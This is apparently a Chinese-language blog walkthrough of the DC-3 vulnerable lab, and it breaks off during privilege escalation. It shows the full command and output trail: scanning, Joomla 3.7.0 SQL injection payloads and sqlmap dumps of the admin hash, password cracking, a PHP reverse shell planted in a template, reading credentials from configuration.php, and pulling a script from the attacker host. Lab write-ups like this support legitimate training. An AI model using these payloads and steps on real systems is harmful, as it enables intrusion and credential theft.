Lluna's Pure land.

What is life like when singing to wine?

0%

DC-3

0x00.官网描述

DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

For those with experience doing CTF and Boot2Root challenges, this probably won’t take you long at all (in fact, it could take you less than 20 minutes easily).

If that’s the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.

DC-3之后不再有提示信息,只有一个最终flag

0x01.老规矩上nmap

可以发现1为网关,2为宿主机,6为kali,那么5就是我们的受害者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@JIYE:~/tmp/DC3# nmap -sP 192.168.1.0/24 -oN nmap.sP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-21 20:53 EDT
Nmap scan report for 192.168.1.1
Host is up (0.0021s latency).
MAC Address: 68:D1:BA:1F:FD:48 (Shenzhen Youhua Technology)
Nmap scan report for 192.168.1.2
Host is up (0.00033s latency).
MAC Address: 50:5B:C2:8C:BE:A5 (Liteon Technology)
Nmap scan report for 192.168.1.5
Host is up (0.00026s latency).
MAC Address: 00:0C:29:63:7B:83 (VMware)
Nmap scan report for 192.168.1.6
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.09 seconds
root@JIYE:~/tmp/DC3#

附加:使用netdiscover也可以

1
2
3
4
5
6
7
8
9
root@JIYE:~/tmp/DC3# netdiscover
Currently scanning: 192.168.21.0/16 | Screen View: Unique Hosts
8 Captured ARP Req/Rep packets, from 3 hosts. Total size: 480
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.2 50:5b:c2:8c:be:a5 6 360 Liteon Technology Corporation
192.168.1.1 68:d1:ba:1f:fd:48 1 60 Shenzhen YOUHUA Technology Co., Ltd
192.168.1.5 00:0c:29:63:7b:83 1 60 VMware, Inc.

0x02.继续nmap扫描服务及端口

发现子开放了80端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@JIYE:~/tmp/DC3# nmap -A 192.168.1.5 -p 1-65535 -oN nmap.A
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-21 21:02 EDT
Nmap scan report for 192.168.1.5
Host is up (0.00051s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 00:0C:29:63:7B:83 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.51 ms 192.168.1.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds
root@JIYE:~/tmp/DC3#

0x03.访问80端口

根据提示,这次只有一个flag,需要获得root权限

没有什么其他有用的信息,下面使用whatweb进行指纹识别

0x04.指纹识别

发现为apache,ubuntu,Joomla(cms)

1
2
3
root@JIYE:~/tmp/DC3# whatweb http://192.168.1.5
http://192.168.1.5 [200 OK] Apache[2.4.18], Bootstrap, Cookies[460ada11b31d3c5e5ca6e58fd5d3de27], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], HttpOnly[460ada11b31d3c5e5ca6e58fd5d3de27], IP[192.168.1.5], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PasswordField[password], Script[application/json], Title[Home]
root@JIYE:~/tmp/DC3#

0x05.使用joomscan扫描

发现没有防火墙,Joomla版本为3.7.0,4个目录列表,与网站后台

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
root@JIYE:~/tmp/DC3# joomscan -u http://192.168.1.5
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)

--=[OWASP JoomScan
+---++---==[Version : 0.0.7
+---++---==[Update Date : [2018/09/23]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://192.168.1.5 ...



[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.7.0

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing :
http://192.168.1.5/administrator/components
http://192.168.1.5/administrator/modules
http://192.168.1.5/administrator/templates
http://192.168.1.5/images/banners


[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://192.168.1.5/administrator/

[+] Checking robots.txt existing
[++] robots.txt is not found

[+] Finding common backup files name
[++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file
[++] Readable config files are not found


Your Report : reports/192.168.1.5/
root@JIYE:~/tmp/DC3#

0x06.爬一下目录列表

没有什么有用的信息,图就不放了。。。

0x07.访问后台

也没有发现什么可用的信息,可以爆破,但爆破是最后的挣扎,先查一下Joomla 3.7.0有没有漏洞

0x08.查找Joomla漏洞

发现存在sql注入

1
2
3
4
5
6
7
8
9
root@JIYE:~/tmp/DC3# searchsploit joomla 3.7.0
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Joomla! 3.7.0 - 'com_fields' SQL Injection | php/webapps/42033.txt
Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting | php/webapps/43488.txt
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
root@JIYE:~/tmp/DC3#

0x09.查看sqli说明

CVE : - CVE-2017-8917

存在注入点

可以使用sqlmap进行利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@JIYE:~/tmp/DC3#  cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomla_v3.7.0_sqli.txt
root@JIYE:~/tmp/DC3# cat joomla_v3.7.0_sqli.txt
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap:

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (DUAL)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)root@JIYE:~/tmp/DC3#
root@JIYE:~/tmp/DC3#

0x10.sqlmap利用

1.爆库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@JIYE:~/tmp/DC3# sqlmap -u "http://192.168.1.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
...

...
[21:42:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[21:42:32] [INFO] fetching database names
[21:42:32] [INFO] retrieved: 'information_schema'
[21:42:32] [INFO] retrieved: 'joomladb'
[21:42:32] [INFO] retrieved: 'mysql'
[21:42:32] [INFO] retrieved: 'performance_schema'
[21:42:32] [INFO] retrieved: 'sys'
available databases [5]:
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys

[21:42:32] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2670 times
[21:42:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.5'

[*] ending @ 21:42:32 /2020-08-21/

root@JIYE:~/tmp/DC3#

2.查看当前数据库

当前数据库名字为joomladb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@JIYE:~/tmp/DC3# sqlmap -u "http://192.168.1.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]       
___
__H__
___ ___["]_____ ___ ___ {1.4.8#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:51:56 /2020-08-21/

[21:51:56] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[21:51:56] [INFO] resuming back-end DBMS 'mysql'
[21:51:56] [INFO] testing connection to the target URL
[21:51:56] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('460ada11b31d3c5e5ca6e58fd5d3de27=k3m9bafm9dg...dg5cjc6tq0'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
Type: error-based
Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(8495,CONCAT(0x2e,0x7170786b71,(SELECT (ELT(8495=8495,1))),0x7170786b71),8473))

Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 8890 FROM (SELECT(SLEEP(5)))cGDb)
---
[21:51:59] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[21:51:59] [INFO] fetching current database
[21:51:59] [INFO] retrieved: 'joomladb'
current database: 'joomladb'
[21:51:59] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[21:51:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.5'

[*] ending @ 21:51:59 /2020-08-21/

root@JIYE:~/tmp/DC3#

3.爆表

定位到#__user表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
root@JIYE:~/tmp/DC3# sqlmap -u "http://192.168.1.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] 
...

...
Database: joomladb
[76 tables]
+---------------------+
| #__assets |
| #__associations |
| #__banner_clients |
| #__banner_tracks |
| #__banners |
| #__bsms_admin |
| #__bsms_books |
| #__bsms_comments |
| #__bsms_locations |
| #__bsms_mediafiles |
| #__bsms_message_typ |
| #__bsms_podcast |
| #__bsms_series |
| #__bsms_servers |
| #__bsms_studies |
| #__bsms_studytopics |
| #__bsms_teachers |
| #__bsms_templatecod |
| #__bsms_templates |
| #__bsms_timeset |
| #__bsms_topics |
| #__bsms_update |
| #__categories |
| #__contact_details |
| #__content_frontpag |
| #__content_rating |
| #__content_types |
| #__content |
| #__contentitem_tag_ |
| #__core_log_searche |
| #__extensions |
| #__fields_categorie |
| #__fields_groups |
| #__fields_values |
| #__fields |
| #__finder_filters |
| #__finder_links_ter |
| #__finder_links |
| #__finder_taxonomy_ |
| #__finder_taxonomy |
| #__finder_terms_com |
| #__finder_terms |
| #__finder_tokens_ag |
| #__finder_tokens |
| #__finder_types |
| #__jbsbackup_timese |
| #__jbspodcast_times |
| #__languages |
| #__menu_types |
| #__menu |
| #__messages_cfg |
| #__messages |
| #__modules_menu |
| #__modules |
| #__newsfeeds |
| #__overrider |
| #__postinstall_mess |
| #__redirect_links |
| #__schemas |
| #__session |
| #__tags |
| #__template_styles |
| #__ucm_base |
| #__ucm_content |
| #__ucm_history |
| #__update_sites_ext |
| #__update_sites |
| #__updates |
| #__user_keys |
| #__user_notes |
| #__user_profiles |
| #__user_usergroup_m |
| #__usergroups |
| #__users |
| #__utf8_conversion |
| #__viewlevels |
+---------------------+

[21:54:04] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 93 times
[21:54:04] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.5'

[*] ending @ 21:54:04 /2020-08-21/

root@JIYE:~/tmp/DC3

4.爆字段

现有字段选择默认1,线程选择10,直接爆出字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
 root@JIYE:~/tmp/DC3# sqlmap -u "http://192.168.1.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
___
__H__
___ ___[,]_____ ___ ___ {1.4.8#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:59:25 /2020-08-21/

[21:59:25] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[21:59:25] [INFO] resuming back-end DBMS 'mysql'
[21:59:25] [INFO] testing connection to the target URL
[21:59:26] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('460ada11b31d3c5e5ca6e58fd5d3de27=ug2jkbpm6cl...hvfgeqmmq0'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
Type: error-based
Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(8495,CONCAT(0x2e,0x7170786b71,(SELECT (ELT(8495=8495,1))),0x7170786b71),8473))

Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 8890 FROM (SELECT(SLEEP(5)))cGDb)
---
[21:59:31] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[21:59:31] [INFO] fetching columns for table '#__users' in database 'joomladb'
[21:59:32] [WARNING] unable to retrieve column names for table '#__users' in database 'joomladb'
do you want to use common column existence check? [y/N/q] y
[21:59:54] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
which common columns (wordlist) file do you want to use?
[1] default '/usr/share/sqlmap/data/txt/common-columns.txt' (press Enter)
[2] custom
> 1
[22:00:00] [INFO] checking column existence using items from '/usr/share/sqlmap/data/txt/common-columns.txt'
[22:00:00] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[22:00:07] [INFO] starting 10 threads
[22:00:07] [INFO] retrieved: id
[22:00:07] [INFO] retrieved: name
[22:00:07] [INFO] retrieved: username
[22:00:08] [INFO] retrieved: email
[22:00:11] [INFO] retrieved: password
[22:00:51] [INFO] retrieved: params

Database: joomladb
Table: #__users
[6 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| email | non-numeric |
| id | numeric |
| name | non-numeric |
| params | non-numeric |
| password | non-numeric |
| username | non-numeric |
+----------+-------------+

[22:01:02] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2649 times
[22:01:02] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.5'

[*] ending @ 22:01:02 /2020-08-21/

root@JIYE:~/tmp/DC3#

5.列目录

得到了admin与加密密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
root@JIYE:~/tmp/DC3# sqlmap -u "http://192.168.1.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "name,password" --dump -p list[fullordering]         
___
__H__
___ ___[']_____ ___ ___ {1.4.8#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:06:02 /2020-08-21/

[22:06:02] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/523.13 (KHTML, like Gecko) Version/3.0 Safari/523.13' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[22:06:02] [INFO] resuming back-end DBMS 'mysql'
[22:06:02] [INFO] testing connection to the target URL
[22:06:02] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('460ada11b31d3c5e5ca6e58fd5d3de27=8hrfk2ep2le...ioqrv6v505'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: list[fullordering] (GET)
Type: error-based
Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(8495,CONCAT(0x2e,0x7170786b71,(SELECT (ELT(8495=8495,1))),0x7170786b71),8473))

Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 8890 FROM (SELECT(SLEEP(5)))cGDb)
---
[22:06:04] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[22:06:04] [INFO] fetching entries of column(s) 'name, password' for table '#__users' in database 'joomladb'
[22:06:04] [INFO] retrieved: 'admin'
[22:06:04] [INFO] retrieved: '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'
Database: joomladb
Table: #__users
[1 entry]
+-------+--------------------------------------------------------------+
| name | password |
+-------+--------------------------------------------------------------+
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+-------+--------------------------------------------------------------+

[22:06:04] [INFO] table 'joomladb.`#__users`' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.1.5/dump/joomladb/#__users.csv'
[22:06:04] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 6 times
[22:06:04] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.5'

[*] ending @ 22:06:04 /2020-08-21/

root@JIYE:~/tmp/DC3#

0x11.使用john解密

密码:snoopy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@JIYE:~/tmp/DC3# john joomla_v3.7.0_
joomla_v3.7.0_admin_hash.txt joomla_v3.7.0_sqli.txt
root@JIYE:~/tmp/DC3# john joomla_v3.7.0_admin_hash.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
snoopy (?)
1g 0:00:00:00 DONE 2/3 (2020-08-21 22:10) 3.448g/s 124.1p/s 124.1c/s 124.1C/s 123456..buster
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@JIYE:~/tmp/DC3#

0x12.登入

1.发现模板文件

2.找到模板文件目录

3.编辑反弹shell,kali原生自带

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@JIYE:~/tmp/DC3# locate webshell
/root/.cache/vmware/drag_and_drop/ZKHwFq/w3af/w3af/plugins/attack/payloads/webshell
/root/.cache/vmware/drag_and_drop/ZKHwFq/w3af/w3af/plugins/attack/payloads/webshell/webshell.asp
/root/.cache/vmware/drag_and_drop/ZKHwFq/w3af/w3af/plugins/attack/payloads/webshell/webshell.aspx
/root/.cache/vmware/drag_and_drop/ZKHwFq/w3af/w3af/plugins/attack/payloads/webshell/webshell.jsp
/root/.cache/vmware/drag_and_drop/ZKHwFq/w3af/w3af/plugins/attack/payloads/webshell/webshell.php
/root/.cache/vmware/drag_and_drop/ZKHwFq/w3af/w3af/plugins/attack/payloads/webshell/webshell.pl
/root/.cache/vmware/drag_and_drop/ZKHwFq/w3af/w3af/plugins/attack/payloads/webshell/webshell.py
/usr/bin/webshells
/usr/share/webshells
/usr/share/doc/webshells
/usr/share/doc/webshells/changelog.gz
/usr/share/doc/webshells/copyright
/usr/share/webshells/asp
/usr/share/webshells/aspx
/usr/share/webshells/cfm
/usr/share/webshells/jsp
/usr/share/webshells/laudanum
/usr/share/webshells/perl
/usr/share/webshells/php
/usr/share/webshells/asp/cmd-asp-5.1.asp
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/aspx/cmdasp.aspx
/usr/share/webshells/cfm/cfexec.cfm
/usr/share/webshells/jsp/cmdjsp.jsp
/usr/share/webshells/jsp/jsp-reverse.jsp
/usr/share/webshells/perl/perl-reverse-shell.pl
/usr/share/webshells/perl/perlcmd.cgi
/usr/share/webshells/php/findsocket
/usr/share/webshells/php/php-backdoor.php
/usr/share/webshells/php/php-reverse-shell.php
/usr/share/webshells/php/qsd-php-backdoor.php
/usr/share/webshells/php/simple-backdoor.php
/usr/share/webshells/php/findsocket/findsock.c
/usr/share/webshells/php/findsocket/php-findsock-shell.php
/var/lib/dpkg/info/webshells.list
/var/lib/dpkg/info/webshells.md5sums
/var/lib/dpkg/info/webshells.postinst
/var/lib/dpkg/info/webshells.prerm
root@JIYE:~/tmp/DC3#

使用/usr/share/webshells/php/php-reverse-shell.php,将内容复制到modules.php中

1
root@JIYE:~/tmp/DC3# cp /usr/share/webshells/php/php-reverse-shell.php reverse.php

访问得到shell

1
2
3
4
5
6
7
8
9
root@JIYE:~# nc -nvlp 6666
listening on [any] 6666 ...
connect to [192.168.1.6] from (UNKNOWN) [192.168.1.5] 45748
Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
14:21:43 up 3:26, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

4.得到交互shell

使用python -c 'import pty;pty.spawn("/bin/bash")'

1
2
3
4
5
6
7
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ cd
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@DC-3:/$

附加:

当Ctrl+z退出shell时,我们如何反回呢?

1.先输入stty raw -echo

2.再按Back+f+g+enter,即可返回shell

/当前shell下上下箭头就可以使用了/

0x13.提权

1.尝试使用sudo -l 但没有权限

1
2
3
4
www-data@DC-3:/$ sudo -l
[sudo] password for www-data:
^Csudo: 1 incorrect password attempt
www-data@DC-3:/$

2.查看mysql配置文件

找到了mysql的root账户密码,碰碰运气,看看能不能登入到系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
www-data@DC-3:/var/www/html$ cat configuration.php 
<?php
class JConfig {
public $offline = '0';
public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'DC-3';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'root';
public $password = 'squires';
public $db = 'joomladb';
public $dbprefix = 'd8uea_';
public $live_site = '';
public $secret = '7M6S1HqGMvt1JYkY';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}';
public $ftp_host = '127.0.0.1';
public $ftp_port = '21';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'freddy@norealaddress.net';
public $fromname = 'DC-3';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $cache_platformprefix = '0';
public $MetaDesc = 'A website for DC-3';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $feed_email = 'none';
public $log_path = '/var/www/html/administrator/logs';
public $tmp_path = '/var/www/html/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $shared_session = '0';
}
www-data@DC-3:/var/www/html$

很显然这回没有狗屎运了

1
2
3
4
5
6
www-data@DC-3:/var/www/html$ sudo -l               
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:

3.利用系统内核提权

查看系统内核提权

1
2
3
4
5
6
7
8
9
www-data@DC-3:/tmp$ uname -a      
Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
www-data@DC-3:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial
www-data@DC-3:/tmp$

将linux-exploit-suggester复制到DC3上

1
2
3
4
5
6
7
8
root@JIYE:~/tmp/DC3# cp linux-exploit-suggester.sh /root
root@JIYE:~/tmp/DC3# cd
root@JIYE:~#
root@JIYE:~#
root@JIYE:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.1.5 - - [22/Aug/2020 02:06:47] "GET /linux-exploit-suggester.sh HTTP/1.1" 200 -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@DC-3:/tmp$ wget 192.168.1.6/linux-exploit-suggester.sh
--2020-08-22 16:07:27-- http://192.168.1.6/linux-exploit-suggester.sh
Connecting to 192.168.1.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 84889 (83K) [text/x-sh]
Saving to: 'linux-exploit-suggester.sh'

linux-exploit-sugge 100%[===================>] 82.90K --.-KB/s in 0s

2020-08-22 16:07:27 (353 MB/s) - 'linux-exploit-suggester.sh' saved [84889/84889]

www-data@DC-3:/tmp$ ls
linux-exploit-suggester.sh
systemd-private-75689b1bf3f246969cc204a95896c661-systemd-timesyncd.service-bRUc7u
vmware-root
www-data@DC-3:/tmp$

执行,查找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
